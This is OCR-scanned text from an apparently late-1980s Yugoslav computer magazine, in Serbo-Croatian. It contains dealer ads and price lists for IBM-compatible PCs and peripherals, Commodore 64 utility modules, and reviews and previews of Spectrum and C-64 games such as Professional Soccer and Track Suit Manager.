prodaja IBM PC-XT, AT, Intel 80386 kompatibil-
nih racunara, periferijska oprema - stampaci, dis-

kovi, TTL i EGA Monitori...

OSNOVNA KONFIGURACIJA XT vec od DEM. 995,-

.

AT - 12 MHz -h 512 Kb RAM vec od DEM. 1.970,-.

Garancija 6 meseci. Servisi u Jugoslaviji na preko
30 mesta.

Za pojedinacne komponente i informacije obavestenja
na telefon 9949-89-59 59 20, na naSem jeziku. Radno
vreme'od 10 do 12 i 13 do 16h.

Telex 5 212 752 mraz d
Schillerstrasse 22/III sprat

8000 Munchen 2, Deutschland
Uplate na konto Hypo Banke Munchen
Konto-nr. 183 0213 542, BLZ 700 200 01

U kompletu (100.000). Prirucnik CPC
6128 (knjiga) (40.000).

„KOMPJUTER BIBUOTEKA", Bate
Jankoviea 79, 32000 Ca6ak. tel.

032/30-34.

CPC: Veliki izbor najnovijih igara i us-

luznih programa s uputstvima, Bespla-

tan katalog. Sve informacije i narudz-
be: Dragan Dejanovic, Divkovi6eva 39,

41090 Zagreb, tel. 041/346-697.

PRODAJEM kompjuter Scheider CPC
6128 sa zelenim monitorom i desetak

disketa. Branimir Jeranko, Aleja Salva-

dora Allendea 1/3, 41090 Zagreb, teL

041/517p494.

DISKETE 3.5" i 5.25" DS/DD amerit-
ke. vrlo kvalitetne, povoijno prod^em.
Dajem garanciju. Jasna, tel.

011/781-121.

IBM, SPECTRUM
programi za

LOTO
tei. 011/600-118

APPLE II CE+ Programi, uput-

stva, literatura, §tampac Applescri-

be.

tel. 011/331-753.

EPSON LX-80D printer, neraspakiran,
sa carinskom deklaracijom, ispod cije-

ne prodajem. Tel. 041/321-418.

PRODAJEM kolor-grafiCku kartu i nov
hard disk 20M za IBM PC. Tel.
011/403-140.

BSB computer -f electrortics

TELEFON; 9943-316-91-80-53

IBM KOMPATIBILNI RACUNARI - KOMPONENTE
UPOREDITE na§e neto cene sa drugima I razmisllte da li 6ete traiiti

dalje! (Sve cene su u DEM)

AT-kompatibiIni ra^unar - konfiguracija:
8/12 MHz, 4Mb osnovtia ptoca (baby) OK + monohromatska grafidka karti-

ca + I/O kartica + HDD/FDD kontroler +1,2 Mb floppy + kucl§te (baby)

+ tastatura 101/102 tipke + uredaj za napajanje 200 W.

• Kompletan uredaj skloptjen, testiran. garancija 12 meseci . .

.

, . .DEM 1.565,-

XT-kpmpatibilni radunar - konfiguracija:

4.77/10 MHz, 640 Kb osnovna plo6a OK + mini kolor, ili mono grafifika pri-

nter kartica herkules + multi I/O kartica + 360 Kb floppy + turbo kuci§te

+ tastatura sa 84 tipke + uredaj ca napajanje 165 W
• Kompletan uredaj skiopijen, testiran, garancija 12 meseci . .

.

, . . DEM 950.-

AT osn. ploCa 8/12 MHz do 4Mb RAM 570.-
ATosn. ploda 6/12 MHz do 4 Mb RAM 530.-
XT osnoona ploca 4. 77/10 MHz do 640 Kb RAM 178.-
AT kuciSre (baby) sa napajanjem 299.-
XT kuciste sa napajanjem 255.-
Hercules kartica sa print, portom 98.-

Multi I/O kartica 120.-
Tastatura 101/102 tipke 325.-

Tastatura 84 tipke 97.-

Monitor flat screen 12" green/amber 233.-

TELEFAX; 9943316918053

8010 GRAZ,Karlauerpl.4

Hard disk 40 Mb. 40 ms 750. -

Hard disk 40 Mb, 28 ms S95.-
Hard disk 30 Mb, 65 ms 525. -

Hard disk 20 Mb, 65 ms 503.-

XT HDD kontroler 115.-

XTHDD. RLL kontroler 129.-

ATHDD kontroler 269.-

ATHDD, RLLkontroler 550 -

360 Kb floppy 161.-

1,2 Mb floppy 207.-

Printer MicrolineM 192 695.-

PrinterMicroIineMWS 780.-

Printer Star LC 10 590.-

... I JOd DOSTA DRUGOGH!
DOSTAVITE NAM VASE POTREBE, RADO CEMO NABAVITI UPRAVO ONO
STO VAMA TREBA!

,Zatra2ite ponudu za 386, PS/2 All in One itd.

RADNE ORGANIZAClJE: Second Hand oprema. periferali, dijelovi poznatih

svjetskih proizvodafia (DEC, ICL, IBM, OLIVETTI i

dr.)

Za PC kompatibilne racunare I komponente osiguran servis u Zagrebu

Garancija za komponente 6 meseci, za konfiguracije 12 meseci.

Posetite nas u GRAZ-u. Nalazimo se neposredno pored trjnog centra

INTERKUAF (na raskrsnici za Hauptbahnhof skrenite desno i pratite veliku rek-

lamu za Interkauf).

Informacije u vezi s PC raCunarima moiete doblti i u Zagrebu, na tel.

041/236-126.
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IFmLAKAR 8̂ CO
IBM KOMPATIBILNI RACuNARI
I OPREMA

Posebna ponuda.

(Jporedujte nase cene sa nemackim!

XT kompatibiini racunar

XT kuci§te i urcdaj za napajanje
XT osnovna ploda, 8088,2,4,77/10 MHz, 8087 podnozic
RAM proSirIjiv do 640 K
grafidka printer kartica Hercules
multi I/O

diskelna jedmica 5,25-palaena. 360 K
tastatura sa 84 tipke

XT ukupno

AT kompatibiini racunar
AT baby kudStc i urcdaj za napajanje
AT osnovna plota 80826,8/12.5/15 MHz, 80827 podnozjc,
RAM proSirIjiv do 4 Mb
graficka printer kartica Hercules
FDD/HDD konirolcr

diskelna jedinica 5-25-patadna. 1.2 Mb
tastatura sa 102 tipke

AT ukupno

243 DEM

I7I DEM
94 DEM
117 DEM
156 DEM
91 DEM

872 DEM

293 DEM

549 DEM
94 DEM

260 DEM
200 DEM
118 DEM
1514 DEM

AT prenosni racunar 375O DEM
(LCDckran640 x 400. CGA, Hercules, osnovna pioCa 10/16 MHz, I'Mb
RAM na osnovnoj pioei. FDD/HDD kontroler. I/O kartica, 1.2 Mb
disketna jedinica. tastatura)

386sistem 4957 DEM
(Tower kuciSte sa ured^em za napajanje. 386 osnovna plo£a 16/25 MHz,
Landmark 27. 8 MHz. Norton Cl 26. 1 MbRA/vIna ploci. grafitka printer
kartica. FDD/HDD kontroler. I/O kartica, 1.2 Mb disketna jedinica.
tastatura 102)

386 turbo sislera 6686 DEM
(Tower ku£i§tc sa uredajem za napajanje. 386 osnovna pioCa 16/25 MHz.
32 K cache RAM. Landmark 36 MHz. Norton Cl 28.6. grufifka printer
kartica. FDD/HDD kontroler, I/O kartica. 1,2 Mb disketna jedinica,
tastatura 102)

RAM
41256-150 19 DEM
41256-100 25 DEM
4146-100 7 DEM

monitor!

monitor Flat Screen jantar. 1 4-pa{a£ni
monitor Flat Screen paper white. 14-pala£ni
monitor jantar. 12-pala6ni

mis genius

Ivrdi diskovi

ST 225 (20 Mb. 65 ms)
ST 238 R (30 Mb. 65 ms)
ST 251 (40 Mb. 40 ms)
ST 251-1(40 Mb. 28 ms)

kontroler za Ivrde diskove
XT
XTRLL
AT
AT RLL

Slampaci

STARLC 10

STARLC 24-10
STARLCIO, uboji -

SEIKOSHA SP-180 AL

254 DEM
260 DEM
220 DEM
96 DEM

499 DEM
520 DEM
740 DEM
890 DEM

105 DEM
122 DEM
260 DEM
345 DEM

590 DEM
890 DEM
670 DEM
398 DEM

Za sve uredaje dajemo garaneiju. montaia i servis u Jugoslaviji. Za savet
kod izbora nazovite nas na telefon: 9943/4227-2333. NaSa trgovina jc
u Podgori (Unterbergen). pored glavnog puta prema Celovcu. 60 km od
Ljubljane i 12 km od Ljubelja.

SERVIS RACUNARA
PC XT/AT IBM

- Servisujemo racunare IBM PC XT/AT, spectrum, Sinc-
lair QL, atari, commodore.

- Katalo§ka prodaja racunara XT/AT. Trazite besplatne
kataioge. Veliki besplatni katalog sa rezervnim djelo-
vima za spectrum, commodore i PC XT/AT.

- Savjetujemo u vezi nabavke kompjuterske opreme
i isporucujemo pojedinacne kompjuterske jedinice:
tvrdi disk, meki disk, monitor!, ku6i$ta sa napajanjem,
kartice svih vrsta za XT/AT GAMA Elektronicsa Iz

Miinchena.

Eprom moduli za commodore 64/128
1. Turbo 250 -i- Turbo 2002 + Turbo Tape II + Turbo Pizza + Spec. Fast

+ Profi Ass/64 + monitor 49152 -i- podeSavanje glave
2. Duplikator + Sistem 250 + Turbo 250 -i- Fast Disk Load + Top

monitor -f Tornado Dos (Ram. Ver) + podeSavanje glave
3. Turbo 250 -f- Turbo 2003 + Intro Kompresor/Tape -f Turbo Tos

+ Top monitor -i- Spec. Fast + podeSavanje glave
4. Duplikator -i- Fast Copy -i- Copy 2002 + Turbo 250 -t- Fast Disk Load

+ podeSavanje glave
5. Duplikator -f- Introkompresor/Disk -i- Fast Disk Load + Turbo 250

+ Profi Ass/64
6. Turbo 250 -t- Turbo Tape II -i- Spec. Fast + Turbo 2003 + Turbo Pizza

+ podeSavanje glave
7. Simon's Basic
8. Easy Script
9. Intro Kompresor + Tornado Dos (Ram. Ver) Profi Ass/64 + Moni-

tor 49152 + Turbo 250
10. Miss Pacman
11. Phoenix
12. Popaj
13. Vizawrite Turbo 250 + Tornado Dos + Fast Copy + Copy 190

-I- Giga Load + podeSavanje giave (32 K)
14. Disk Wizard -f- Duplikator + Fast Copy + Auto nibler -t- Turbo 250

+ Monitor 49152 -i- podeSavanje glave (32 K)
15. File Master + Simon's Basic I -i- Monitor 491 52 + Turbo 250 + Copy

202 + podeSavanje glave (32 K)
16. Simon's Basic II + Duplikator -t- Turbo 250 + Sistem 250 + podeSa-

vanje glave (32 K)

Svaki modul ugraden je u piastiCnu kutiju, ugraden Ima
reset taster. Cijena modula u kutiji iznosi 130.000 din,
modula od 32 K 190.000 din. Garaneijska doba 1 godinu.
Saljemo odmah.

Jedini servis u Jugoslaviji sa potpunom izborom rezervnog materials za
spektrum, Sinclair QL, atari, commodore PC XT/AT. KataloSka prodaja
rezervnih delova. Traiite veliki besplatni katalog. Na zalihi imamo folije

za ZX spektrum, 48 K, spectrum -h, QL. Kablove svih vrsta, palice,
rezervni djelovi za XT/AT, Cipovi ULA, RAM. 4116, epromi, 6526, 6569,
906114-PLA, ugradnja yu znakova u sve vrste printera, romovi. proSire-
nje rama, itd.

PredstavniStva:

Beogradu: Kompjuter servis, MiSarska 11, tel. (011) 332-
275,
Split; Onofon electronic, Tr§6anska 10, tel. (058) 45-

819,
Skoplje: Servis mikronic, tel. (091) 312-117,
Zagreb; Jasna, od 10. do 19. h, tel. (041) 260-665,

Servis radunalnikov, Verje 31A, 61215 Medvode, fax:

(061) 621-523
Tel: (061) 621-066 i 621-523, svaki dan od 10.-19. sati,

subdta 8.-13. sati.
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¥

PROFESSIONAL SOCCER

PROFESSIONAL SOC'C'ER

\ Spfcuiim

bFAlMca

Hnima(i)0 DBBBB 6 / B~^~ n

de |a PHBBBBBu 910

tzcene DBBQBQBD 9;rG'

Svi znamo da )e pn.’a prava me-
nadzerska igra i^dbala, na Spec-
trumu, bila FOOTBALL DIREC
TOR. Igra je postigla fantasticnu
popularnost, tako da su se posle
nje pojavljivaie mnoge sa istom
idejom, ali losije uradenc. Sada
smo dobili pravog naslednika!
PROFESSIONAL SOCCER nam
dolazi iz .CRL" a. firme koja je

proSle godine izdala SOPHISTRY
(takode postigao zapazen uspeh),

Prica je ista kao i u FD-ii. Nala-
ztte se u treco] Hgi na porctku se-

zone. Imate 100.000 funti gotovine
i 18 igraca na raspolaganju. U ligi

ima 20 klubova koji su ocenjeni
brojevima od 1 (odlicno) do 5

(pfuj!). Znaci, sigurno cete vise

meceva dobiti sa timom ocenje-

nim jedinicom, nego ocenjenim
peticom. Ne zaboravite da vam je

cilj da se domognete prvog mesta
u svakoj ligi i tako predete u viSi

rang takmicenja. Ako ne uspete -

otpusteni ste, a ako pak uspete,
dobijate novi ugovor za narednu

sezonu. Svaki igrac je rangiran ne
samo po poziciji na kojoj najbolje
igra (A-napadac, M-igrac sredine
terena. D-odbrana), nego i po dru-
gim dvema. U jednom menijii na-
brojani su svi igraci kojima raspo
lazete. Za svakog igraca stoji pozi-

cija na kojoj najbolje igra, ali i ka
kav je u dnige dve (ocenjeni su
brojevima od jedan do dvadeset).

Tako, na primer, igrai pod rednim
brojem devet ima sledece odlike:
A-2. M-20, D-7. Znaci, najbolji je u
M, tj. sredini terena. Medutim, ig-

Beograda.\Doma omladine

oo»t

HriOV*

,
wsn**** O'"

moja video
ZBIRKA

tVEtKA KOja V4IAI JE
"CORMOONA RADI VODENJAt^KCUE orom UA KOJOJ•TE WOEO HASETi

i

»»SU OMILJENU EMISuu I

«AtET* u JEOKOJ tVEEC]
CENA S.OOO

I©'

POHUdZbENICee
OVIM HARUdtUEM nUMCRAKA VIDEO flLMSKi VOOlt^PO CEW
DO 20.000. MUMERAKA ‘MOM VIDEO ZRIRRA ' fO CEIW 00 E.OOO

PR(MiBAlCA*VI0C0 RATALOC* PO CERI 00 10.000 -

(ZA VISE 00 6 PRIMERAKA POPUST 20%>
UKUPAN IZNOS OO OiNARA PLATitU POUZEtEW
IME I PREZIME ! _
TAiWA AORESA
SPOJ POSTE.WESTO

VIDEO PILWSKI VOOl£* RiCE ISPORUCEM K.UPCU 10 DANA PO PRUERIU PORUBtCNICt



SVET IGARA
rac pod rednim brojem dvanaest
ima odiike; A-10. M-t6. D-6. Dak
le. ovaj igrac moze pt^jednako
dobro da igra u napadu i na sredi-

ni terena. To je vrio korisno, jer

mozete menjati igrace ako se neki
povredi itd. Takode mozete me
njati formacije igraca. Kompjuter
vam nudi 4-2-4. a vi mozete izab-
rati 4-3-3. 4-4-2 ili nefcu trecu koja
vam se svida. Takode imate opciju
koja vam pomaze da se bolje
upoznate sa osobinama protivnic-

kih igraca. Opcija ..action" vam
prikazuje najzanimljivi)e trenutke
iz utakmice koju ste upravo odig
rali. Naravno. u jednom ovak\'om
programu malo prostora ostaje za
obradu grafike. pa je ona dosta za-

p)OSiav)|ena. Tako je, na primer,
kretanjc igraca pravo mucenje za
oci.

Igra je u stvari dosta jednostav-
na, jer sve §to treba da uradite jes-

te da kupujetc i prodajete fudbaie
re, a zatim da se pobrinete da sva-

ko dode na poziciju koja mu najvi-

se odgovara.
Dakie, onima kojima se svideo

FOOTBALI. DIRECTOR Jrt'idece

se i PROFESSIONAL SOCCER, si-

gurni smo.

O Vladimir Pecelj

TITAN

U modi su kombinaci)e Linro
va. Poeledajtc malo svetsku kme
maiografiju: sve cesce gledamo
ljubavne horore ili naucno fantas-

licne komedije. Ne zaostaju ni

kompjuierske igre. Nedavno smo
igra!) svemiraske sportske igre. a
sada je dosla i kombinacija d'va le-

gendarna programa: niROUGH
THE WAI.L-a i {usiovno recenoj
GAUNTI.ET-a.

Stvar se svodi na odbijanje iop-

tice baiom i rusenjc cigli. Ali, o\de
ne morate sirahovati da ce lopta

proci pored vas i odncti vam zi-

voi. Igra se odvija ii lavirinstu po
kojem se krecete irazcci cigle. Ka
ko koju pronadete. dovedite kuglu
do nje i slomiie je. Sve to ne bi bi-

lo t^o tesko kad nc bi postojale
razne prepreke i smicalice: ne* e
cigle moze unisiiti samo kugla ne
ke samo bat. Kroz neka poli’. mo-
ze proci bat. a kroz druge kugla.
Nekc cigle sc krecu, tako da ifi |e

jezivo tesko razbiti. a neke su
opasne po zivot (one sa mrri'ac-

kom glavom). Postoje i leleporti

ko)i ce vas odbaciti na neko sas
vim bezvezno mesto. Tu su i pol)a
koja kugla ru§i. a bat gradi. Neki

mvoi su mall po povrsmi. a imapi
oko 100 cigli, a drugi su ogromni i

popunjeni sa tri-ceiiri jxilja. Po-
stoji los nesto; lopta se od bata od
bija samo kada jc ovaj u stanju mi-
rovanja. Ako se zaletite. kugla mo-
ze samo proci kroz bat i malo pro-
meniti pravac. NIvoa ima negdc
izmedu 70 i 80 (tacan broj nc
znam jer sam igru zavrsio ne glc

da)uci u ekran), a na kraju sicdi

samo iipis u listu najboljih igraca.

L' nr.AN u cc sigurno svako na
ci nesto sto ce ga naterati da ne is-

kljuci raciinar posic minut igranja

1 sto ce ga statno vracati igri. TI

TAN je izdala firma .Titus", koja
se zaisia posrarala da igra izgieda

lehnicki izvanredno.

O Bojan Majer

TRACK SUIT MANAGER

TRACK SUIT MANAGER

Verzjjaza Comrnodore64

bf«fik« a ^ 10

Proglog saveznog selektora su
oipusiili, jer le obrukao nasu zem-
Ijii na Mundijaiu- Zacudo, vas sii

odabrali i dobili ste posao svog
(nesrecnog) prezhodnika. Tek je

jul i vama preostaju meseci uvez
bavanja i uigravanja ekipe do po-
cetka pr\'og velikog takmicenja.
evropskog Sampionata (nc zna sc

gde). Da biste povratili stani sla\ni

i zadrzali posao, morate sto bolje
proci na evropskom, a kasnije i na
svetskom pr\'enstvu.

Savetujem vam da odaberete
reprezentaeiju Engleske. Evo za-

Sto; tamo je vec popisano sto ( 100)

Igraca. njihove osobine i klub u
kojem igraju, ali ako izaberete ne-
ku drugu svetsku reprezentaeiju
(medu kojima je i Jugoslavija) rno-

racctc sami to da iskucate. Medu
tim, racunar cc im dodeliti proseC-

ne ocene odabrane zemlje, tako
da ne mozete pobediti sa repre

zentaeijom Kipra ili Malte, vec sa-

mo sa nekom od boljih reprezen-

taeija. Ovde spadaju italija, En-
glcska (ako dobro igrate. mozete
bili i pr\'i). SSSR, Spanija, Zapad-
na Nemacka, Nolandija itd. Na
pocetku. dobro pogicdajte lisiu i

pokusajtc da zapamtile raspored
zemalja po gnipama, da biste

mogli da pratite rezuliate i da bis-

le cxligrali po koju utakmicu sa

buducim cctvrtfinalisnma, jer

uvek ste u prednosti ako znate

tim. osobine igraca j mane protiv

nika. Ako prodete pr\’i deo takmi
cenja ulazite u finainu gmpu. u
kojo] Igrate tri utakmice sa drugtm
ckipama. Dok ste u finalnoj grupi

ne mozete birali igrace opeijom
„Squad" (o njoj kasnije), vec kada
(ako) zavrsite taj deo prvenstva.

Onda sledc polufinala. utakmica
pobedenih za trece mesto i finale.

Racunar cestita pobedniku i dovo
di vas na novo taJonicenje - Mun-
dija!. Sve je isto. samo sto ima veci

broj ekipa.

A sada (malo) reci o opeijama.

bez kojih nema pobede:
1. „f3ate". prebacute vas u slede-

ci ili dan u kome se igra sledeca

utakmica. moze se posle s\'ake va-

se odigrane utakmice videli novin-

ski naslovi dva sportska casopisa.

a i ponekad i prociiaii komentar o
igri neke poznate fudbaiske osobe
ko)i je neretko ciniCan.

2. ,Squad‘, jedna od vaznijih

opcija. Njome biratc clanove rep-

rezentaeije. postoje tri podopeije;

.Report" podopeijom imate uvid u
osobine. poziciju, vestinu igraca i

klub u kome igra; .Select" podop-
djom biraie igraca u uzu repre

zentaeiju, Morate izabrati najma-
nje 15, a najvise 22 igraCa, pre ne-

go sto upotrebite podopeiju .E.xit".

3. .Scout". Njome mozete videti

osobine ekipe sa kojom ste igrali

(report), ili na koju ste poslali ..iz-

vidace" (mission).

4. ..Play"; ovde se nalazi najveci

broj podopeija: .Play match".

.Scout". .T. Tactics'. .P. Tactics" i

.Team" (.Subs"). .Scout' podopei-
ja je otvorena. tj. moguca za upot-

rebu samo ako ste sa protivnikom

vec odigrali po koju utakmicu.
.Team tactics" je nai\‘azniia za is-

bod meca. Mozete birati raspored
Igraca (4-4-2. 4-3-3. 4-2-4). stil

Igre. sistem odbrane, markiranje i

dosta drugog. .Player tactics" pod
Of>cijom odredujeie svakom igracu

sta ce da radi. Ne morale je koriti-

ti u prvom kolu i prijaieljskim

utakmicama, alt je u Rnalnom ko-

lu obavezno koristite. .Team"
podopeijom birate clanove tima
(pazite da igraca stavite na njego-

vu poziciju. rj. da IJnekera ne sta-

vite na gol). 0\'a opcija se zame-
njuje sa .Subs* u toku igre. Njome
vrsite zamene.

5. .Watch"; sluzi samo za gleda-

nje utakmica.
6. .Cup" opeijom gledate tabele

(rabies), kalendar (calendar) i

odigrane I preostaie utakmice (fix-

tores).

7. .Diary"; gledate dnevnik te

kuceg mcseca i ugovaiatc utakmi-
ce (Arrange fixtures).

8. .Save". Mislim da tu nc treba

nisla reel.

jedina mana igrice je to sto uop-
ste nema zvuka. niti miizike. Nc-
ma veze, dobra je i ovako!

O Dejan Dofanovic

BLIP! VIDEO CLASSIG

BLIP* VIDEO CLASSICS

1
1
Verzija za CcnnmodcH^ 64 i

Nostalgija vlada. Veliki broj Iju-

di i danas sc igra sa BOULDER
DASH-om, OARX-om i slicnim

stvarima (o TETRIS u da i ne go-

vorimo). Nekada davno u modi su
bile Izv. .TV igre". Da. da, secanja

polako naviru. to jc ona kutija sa

palicom koja sc prikljucuje na te-

ievizor. Te igrice su prilicno ogra-

niccne. ali su i daljc neobicno za-

nimljive. Sve te igre su sakupljene,

doterane, nasminkanc i prodaju se

kao jcdan program sa savr^no
jasnim naslovom: BLIP! (ipak vam
nista nije jasno).

U svim igrama postoje iri os-

novna elementa; bat, (optica i zid.

Vi, uz pomoc jednog bata pokusa-
vate da odbijete lopticu od zida i

smestite je onom drugom iza leda.

Naravno. postoji viSe varijaeija na
temu.
TENNIS - dva bata, iza njih

prazan prostor. Ovo je jedina igra

u kojoj ne mozete otl^ti semu ko-

jom savladavatc protivnika. Nema
veze. snaci cete se vi vec.

FOOTBALL - gol je jedna mala
rupa u zidu, .guiman" je bat koji

se krece samo po gol erti, .igrac"

je bat koji se krece po cciom tere-

nu. Kristaino jasno.
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SQWASH - ova igra )e vrlo slic-

na tenisu, samo $to se sada oba
bata naiaze u istoj ravni, naspram
jednog zida.

SINGLE ^WASH - aha. Ovo
se malo raziii^ie. Postoji samo je-

dan batic, a bodove, na zalost ne-
gaiivne, dobijate ako vam loptica

pobegne.
FOUR BAT BUP! - ubedijivo

najbolja igra u kompletu. Svaku
ivicu ekrana kontrolise po jedan
bat Igraci pokrecu dva susedna
bata i pokusavaju da lopticu spro-

vedu van vidokruga protivnika. U
igri protiv korapjutera postoji ne-
koUko caka. a mi cemo vam opisa-

ti samo jednu; loptu izbacite kada
ste u gomjem ugiu, veliki bat do-
valife do same leve ivice, a posto
se lopta odbije mali bat vrlo, vrlo
malo gumite nagore. Tako uradite
jedno 15 puta i pobedili ste.

BLIPPEROfD6 - igra je identic-

na tenisu, samo §to $u sada prido
dati i asteroid) koji imaju odrede-
nu putanju po sredini ekrana. Oni
menjaju pravac vasoj loptici i ote-
^vaju igru.

Igra je prilicno lepo uradena.
pozadina je malo bolje obradena
nego na ,TV igrama". a pridodata
je. mora se priznati, pomalo do-
sadna muzicka pratnja.

O Bojan Mayer

GOLF-MASTER

Posle legendarnog LEADERBO-
ARD GOLF-a, pojavile su se mno-
ge simulacije ovog populamog
sporta na travi. a za GOLF-MAS-
TER mozemo.red da je jedna od
najboljih. Neka vas ne cudi to sto
je ceo opis ove dobre igre uraden
kroz poredenje sa LEADERBO-
ARD-om. jer on je i prvi i za sada
najbolji golf za Commodore 64.

GOLF-MASTER je uraden iz

ptiCje perspektive, grafika je pre-
cizno uradena. Ako se se^te sen-
cenja koje je bilo upotrebljeno za
BMX SIMULATOR, sa njegwom
pticjom perspektivom. onda imate
predstavu kako izgleda GOLF-
-MASTER, samo sto se ovde ekran
skroluje, aii o tom potom. Jedina
animacija u celoj igri je kretanje
ioptice i zamah igraca, koji se ov-
de nalazi u drugom planu, i solid-
no je uradena. Nema smisla oce-
njivati igru koja nema aniraaciju,
ali sta cete, takva su pravila. Jed-
nom recju - grafika i sve u vezi sa
njom je O.K. Da vas podsetim: LE-
ADERBOARD je imao grafiku u
sjajnoj perspektivi, odiicno isko-

riscenoj, sa sumama. planinama ii

pozadini, I sjajnom animacijom.
Recimo da posle prvog kruga LE-
ADERBOARD vodi sa poenom
razlike.

Kao i u LEADERBOARD
GOLF-u. i GOLF-MASTER-u ima
vise vrsta podloga na ko)e loptica

moze da padne. Tu su voda, pe-

sak, zemija, trava, suma itd. Na-
ravno, na nekim podlogama ne
mozete izvesti odredene udarce.
kao sto ne mozete udariti jak sut

loptici na mahovini. Kada loptica

naide na sumu, ona se samo dobi-

je pod istim uglom. U 1-EADER-
BOARD-u. mogli ste zaci u sumu,
ali je odnos udarci/podloga bio

slabiji. jer se sve svodilo na to da
na pesku {„sand’ u GOLF-MAS-
TER-u) mozete odigrati samo lo-

bove. Bogami, jedan-jcdan.

Kao sto \ndite. GOLF MASTER
nije uopste naivna, sto-i-neka si-

mulacija golfa. Medutim, ima jako
veliku manu. a to je sto igrac ne
ucestvuje dovoljno u igri. U vrhu
ekrana se naiaze ikonc. njih sest.

Gornja i donja ikona sasvim levo

siuze za od^iranje stapa i poveca-
vanje energije udarca. koja jr pri-

kazana skalom levo od ikona, a

tik iznad nje se nalazi slika stapa

koji ste odabrali. Sledece dve iko-

ne u sredini siuze za istu stvar kao
i prethodne dve, samo ovoga pula
donja smanjuje energiju, a gornja
menja stapove obmutim redom
od leve gomje ikonc. Sledece dve
ikone su gornja kao neka karika-

tura, a sluzi da prilikom treninga
menjate rupu na kojoj igrate, a do-
nja. u vidu Ioptice za golf, izvodi

udarac. Da, ona izvodi udarac, a
vi samo namesiate parametre za
njega. Desno od ove dve ikone na-
iaze se ikone koje pokazuju pra-
vac. Kada drzite dugme na nekoj
od njih, i pomerate ga levo-desno.
pomerace se naznaka na neko)
vreti nisana u gomjem levom uglu
ekrana. Tesko je opisati, ali igraju-

ci igru shvaticete da je moguce do
biti koji ugao od nula do 360 ste

peni. Paate; orijentacija,pravca je

u odnosu na loptu, ne na rupu.
kao u LEADERBOARD u.*

Ako ste pazljivo procitali zadnji
pasus. shvaticete da GOLF-MAS
TER-u fall malo dinamicnosti u ig

ri. Dovoljno je da kliknete nekoli
ko puta na ikone i prepustite stvar
racunaru. U LEADERBOARD-u je

igrat uglavnom sve sam obavijao.
a i atmosfera je bila sjajna. Sve
ukupno: dva prema jedan za LEA-
DERBOARD GOLF. Matori se

opet odbranio. Ali to nikako ne
znacida treba napustiti GOLF
-MASTER, jer on je svakako dnigi
iza LEADERBOARD GOLF-a.
Evo jo§ malo o njemu.
Kada kliknete na ikonu Ioptice.

pojavice se vas igrac u gomjem de
lu ekrana i zamahnuti. Ako pro-

masi lopticu (ne igrajte lobove na
pesku!!!). u strip-oblacicu ce pro-
mrmljati nefcu psovku. Kada ubaci
lopticu u rupu, u istom strip-ob-
laCku cc se pojaviti sampions^ pe-
har. Osvajanje pehara prepustam
citaocima.

O Goran Milovano^c
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BICE, BICE...SPECTRUM

Lista najprodavanijih igara za
pro§li mesec izgleda ovako:
1. ROBOCOP (OCEAN)
2. R-TYPE (ELECTRIC DREAMS)
3. LED STORM (GO!)
4. OPERATION WOLF (OCEAN)
5. AFTERBURNER

(ACTIVISION)

MIND TRAP
Svi verovatno znate o MIND

TRAP-u. igri nas^ clana urednis-
tva, Predraga Becirica. Rec je o lo-

gickoj igri za jednog igraca. Cilj je

sloziii kockice na tabU po bojama
koje su zadatc u donjem delu ek-
rana. Kockice siazete pomeranjem
rama po ekranu. Ramom mozete
obuhvatiti cetiri kockice koje mo-
zete rotirati udesno ili ulevo. Jo§
jedna prepreka je i to da se ne mo-
zete pomerati svuda po ekranu,
vec samo po mcstima koja imaju
kruzice.

Mada je ideja vrlo jednostavna,
igra je odiicno uradena i \tIo je

zarazna. Nadamo se da ce Mind
Trap uskoro doci i do nas.

BLASTEROIDS
Negde u svemiru usamljcni brod
lula u potrazi za rodnom plane
tom. Na putu ga presrecu svakak-
vi neprijatelji.

Ovo je srz BI^STEROIDS a
svemirske pucacine koja vodi po-
reklo sa TENGEN arkadne masi-
ne, posredstvom Mirror Sofia.

BIASTEROIDS sadrzi sve ka-

rakteristikc dobre pucacke igre-lu-
pinzi, stitovi, dodatna oruzja, sna-
ga itd.

Ureduie
Aleksaadar Petrovic

lako je ideja vec otrcana. trefaa-
lo bi ocefcivati jos jednu igru ,za
lomljenje dzojstika",

GILBERT - ESCAPE
FROM DRILL

Gilbert Vanzemaljac je zeleni,

simpaticni junak igara Get Fresh i

Gilbert's Fridge. Kao sto znate,
ako uopste znate. Gilbert je Drilia-

nac. U novoj igri firme .Again Aga-
in dobio je ugovor za zadatak ne-
gde u kosmosu. Zavidni Drilianci

su mu rasturili brod i razasuli ga
po raznim mestima. Ukoliko jadni
Gilbert ne nade sve dclove, i ne
sastavi brod u roku od 24 casa -

ode njegova zarada i ugovor.
Igra je po principu Pj'jamara-

me. grafika i animacija su odlicne.
sve u svemu, ESCAPE l-RO.M
DRILL bi trebalo da bude odlicna
arfcadno-avanturisticka igra.

RUN THE GAUNTLET
Ako ste pomislili da je ovo treci

ili cetvrti nastavak GAUNTLETA.
prevarili ste se. Nov Oceanov hit

nema nikakve veze sa Meriinom i

kompanijom.
Ideja nije mnogo onginalna - 9

razliciiih (u sustini vrlo slicnih)

auto-moto disciphna u kojima
vozite bagije, vodene skutere. kros
motore i si.

Uprkos osrednjoj ideji izvodenie
je odiicno, a u stranim casopisima
i listama igra je odiicno kotirana.
Nismo sigurni da Ii za ovo treba
da zahvalimo dobroj igri ili Ocea
novom dobro poznatom kvaliteru

U. S. Gold je jo§ jednom izveo
sv'og crvenog ferarija sa Holford
Way parkinga, da bi nam docarao
realisticnu voznju u drustvu sa

privlacnom plavusom.
Posto nije bio ogranicen ugovo-

rom, U. S. Gold je napravio na-
slcdnika OUT RUN-a, pod nazi-
vom OUT RUN EVROPA. s tim

§to su morale biti uvedene male
izmene. OUT RUN EVROPA vam
nudi vremenske (ne) prilike, voz-

nju kroz poznatije evropske gra

dove, odiicnu grafiku i brze izvo-

denje (napokon). S obzirom na
ovakve najave trebalo bi ocekivati

odiicnu simulaciju voznje, daleko

boiju od prvog dela.
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BICE, BICE.. C-64 Ureduje Nenad Vasovic

SHINOBI
Jos jedna konverzija s automata, cijaini uspeh. Ima svega, od borbe

Proizvodac je .Virgin", a red je o sa okretnim nindzama. do duela
igri koja se svojevremeno najbrze sa dzinovskim samurajima.
prodavala i imala najbrzi komer-

RED HEAT
Verovalno jedini Amijev film

koji se nije pojavio u oblikti video
igre Jeste .Twins", a i to je pitanje

vremena. Sto se tice RED HEAT-
-a, sigurno svi znate o cemu se ra-

di, jer je film bio cak i u na§im bi-

oskopima. Arni igra ruskog zacu
koji po Cikagu juri gruzijskog dile-

ra drogom, a pomaze mu americki
